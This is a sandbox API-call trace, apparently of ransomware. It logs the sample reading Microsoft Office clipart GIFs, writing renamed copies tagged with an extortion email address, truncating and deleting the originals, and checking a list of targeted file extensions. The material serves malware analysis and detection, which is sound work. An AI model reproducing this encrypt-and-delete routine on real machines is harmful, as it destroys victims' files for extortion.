	[0253.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.623] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.623] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0253.623] GetLastError () returned 0x0
	[0253.623] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3bcc, lpOverlapped=0x0) returned 1
	[0253.723] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3bd0, lpOverlapped=0x0) returned 1
	[0253.725] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.725] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.725] SetEndOfFile (hFile=0x328) returned 1
	[0253.728] CloseHandle (hObject=0x328) returned 1
	[0253.728] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.728] SetEndOfFile (hFile=0x28c) returned 1
	[0253.732] CloseHandle (hObject=0x28c) returned 1
	[0253.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString=".doc") returned 4
	[0253.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.733] lstrlenW (lpString=".docx") returned 5
	[0253.733] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.733] lstrlenW (lpString=".pdf") returned 4
	[0253.733] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.733] lstrlenW (lpString=".xls") returned 4
	[0253.733] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.733] lstrlenW (lpString=".xlsx") returned 5
	[0253.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.733] lstrlenW (lpString=".ppt") returned 4
	[0253.733] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString=".zip") returned 4
	[0253.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.733] lstrlenW (lpString=".rar") returned 4
	[0253.733] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.733] lstrlenW (lpString=".bz2") returned 4
	[0253.733] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.733] lstrlenW (lpString=".7z") returned 3
	[0253.733] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString=".dbf") returned 4
	[0253.733] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString=".1cd") returned 4
	[0253.733] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.733] lstrlenW (lpString=".jpg") returned 4
	[0253.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.734] lstrlenW (lpString=".doc") returned 4
	[0253.734] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.734] lstrlenW (lpString=".docx") returned 5
	[0253.734] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.734] lstrlenW (lpString=".pdf") returned 4
	[0253.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.734] lstrlenW (lpString=".xls") returned 4
	[0253.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.734] lstrlenW (lpString=".xlsx") returned 5
	[0253.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.734] lstrlenW (lpString=".ppt") returned 4
	[0253.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.735] lstrlenW (lpString=".zip") returned 4
	[0253.735] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.735] lstrlenW (lpString=".rar") returned 4
	[0253.735] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.735] lstrlenW (lpString=".bz2") returned 4
	[0253.735] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.735] lstrlenW (lpString=".7z") returned 3
	[0253.735] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.735] lstrlenW (lpString=".dbf") returned 4
	[0253.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.735] lstrlenW (lpString=".1cd") returned 4
	[0253.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63
	[0253.735] lstrlenW (lpString=".jpg") returned 4
	[0253.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.735] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0253.735] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0253.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.737] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4955) returned 1
	[0253.737] CloseHandle (hObject=0x28c) returned 1
	[0253.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20
	[0253.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.737] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.737] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0253.738] GetLastError () returned 0x0
	[0253.738] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x135b, lpOverlapped=0x0) returned 1
	[0253.739] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1360, lpOverlapped=0x0) returned 1
	[0253.740] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.740] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.740] SetEndOfFile (hFile=0x328) returned 1
	[0253.740] CloseHandle (hObject=0x328) returned 1
	[0253.740] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.741] SetEndOfFile (hFile=0x28c) returned 1
	[0253.743] CloseHandle (hObject=0x28c) returned 1
	[0253.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1
	[0253.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.744] lstrlenW (lpString=".doc") returned 4
	[0253.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.744] lstrlenW (lpString=".docx") returned 5
	[0253.744] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.744] lstrlenW (lpString=".pdf") returned 4
	[0253.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString=".xls") returned 4
	[0253.745] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString=".xlsx") returned 5
	[0253.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.745] lstrlenW (lpString=".ppt") returned 4
	[0253.745] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString=".zip") returned 4
	[0253.745] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString=".rar") returned 4
	[0253.745] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString=".bz2") returned 4
	[0253.745] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.745] lstrlenW (lpString=".7z") returned 3
	[0253.745] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString=".dbf") returned 4
	[0253.745] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString=".1cd") returned 4
	[0253.745] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString=".jpg") returned 4
	[0253.745] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.745] lstrlenW (lpString=".doc") returned 4
	[0253.745] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.745] lstrlenW (lpString=".docx") returned 5
	[0253.745] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.746] lstrlenW (lpString=".pdf") returned 4
	[0253.746] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.746] lstrlenW (lpString=".xls") returned 4
	[0253.746] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.746] lstrlenW (lpString=".xlsx") returned 5
	[0253.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.746] lstrlenW (lpString=".ppt") returned 4
	[0253.746] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.746] lstrlenW (lpString=".zip") returned 4
	[0253.746] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.746] lstrlenW (lpString=".rar") returned 4
	[0253.746] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.746] lstrlenW (lpString=".bz2") returned 4
	[0253.746] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.746] lstrlenW (lpString=".7z") returned 3
	[0253.746] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.746] lstrlenW (lpString=".dbf") returned 4
	[0253.746] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.746] lstrlenW (lpString=".1cd") returned 4
	[0253.746] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63
	[0253.746] lstrlenW (lpString=".jpg") returned 4
	[0253.746] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.746] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0253.747] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0253.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.747] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5030) returned 1
	[0253.747] CloseHandle (hObject=0x28c) returned 1
	[0253.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20
	[0253.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0253.747] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.747] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0253.748] GetLastError () returned 0x0
	[0253.748] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x13a6, lpOverlapped=0x0) returned 1
	[0253.749] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x13b0, lpOverlapped=0x0) returned 1
	[0253.750] ReadFile (in: hFile=0x28c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.751] WriteFile (in: hFile=0x328, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.751] SetEndOfFile (hFile=0x328) returned 1
	[0253.751] CloseHandle (hObject=0x328) returned 1
	[0253.751] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.751] SetEndOfFile (hFile=0x28c) returned 1
	[0253.753] CloseHandle (hObject=0x28c) returned 1
	[0253.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1
	[0254.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.052] lstrlenW (lpString=".doc") returned 4
	[0254.052] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.052] lstrlenW (lpString=".docx") returned 5
	[0254.052] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.052] lstrlenW (lpString=".pdf") returned 4
	[0254.052] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.052] lstrlenW (lpString=".xls") returned 4
	[0254.052] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.052] lstrlenW (lpString=".xlsx") returned 5
	[0254.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.052] lstrlenW (lpString=".ppt") returned 4
	[0254.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.052] lstrlenW (lpString=".zip") returned 4
	[0254.052] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.052] lstrlenW (lpString=".rar") returned 4
	[0254.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.052] lstrlenW (lpString=".bz2") returned 4
	[0254.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.053] lstrlenW (lpString=".7z") returned 3
	[0254.053] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString=".dbf") returned 4
	[0254.053] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString=".1cd") returned 4
	[0254.053] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString=".jpg") returned 4
	[0254.053] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString=".doc") returned 4
	[0254.053] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.053] lstrlenW (lpString=".docx") returned 5
	[0254.053] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.053] lstrlenW (lpString=".pdf") returned 4
	[0254.053] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString=".xls") returned 4
	[0254.053] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString=".xlsx") returned 5
	[0254.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.053] lstrlenW (lpString=".ppt") returned 4
	[0254.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.053] lstrlenW (lpString=".zip") returned 4
	[0254.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString=".rar") returned 4
	[0254.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.053] lstrlenW (lpString=".bz2") returned 4
	[0254.053] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.054] lstrlenW (lpString=".7z") returned 3
	[0254.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.054] lstrlenW (lpString=".dbf") returned 4
	[0254.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.054] lstrlenW (lpString=".1cd") returned 4
	[0254.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63
	[0254.054] lstrlenW (lpString=".jpg") returned 4
	[0254.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.054] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.054] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0254.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.074] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1146) returned 1
	[0254.074] CloseHandle (hObject=0x350) returned 1
	[0254.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20
	[0254.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
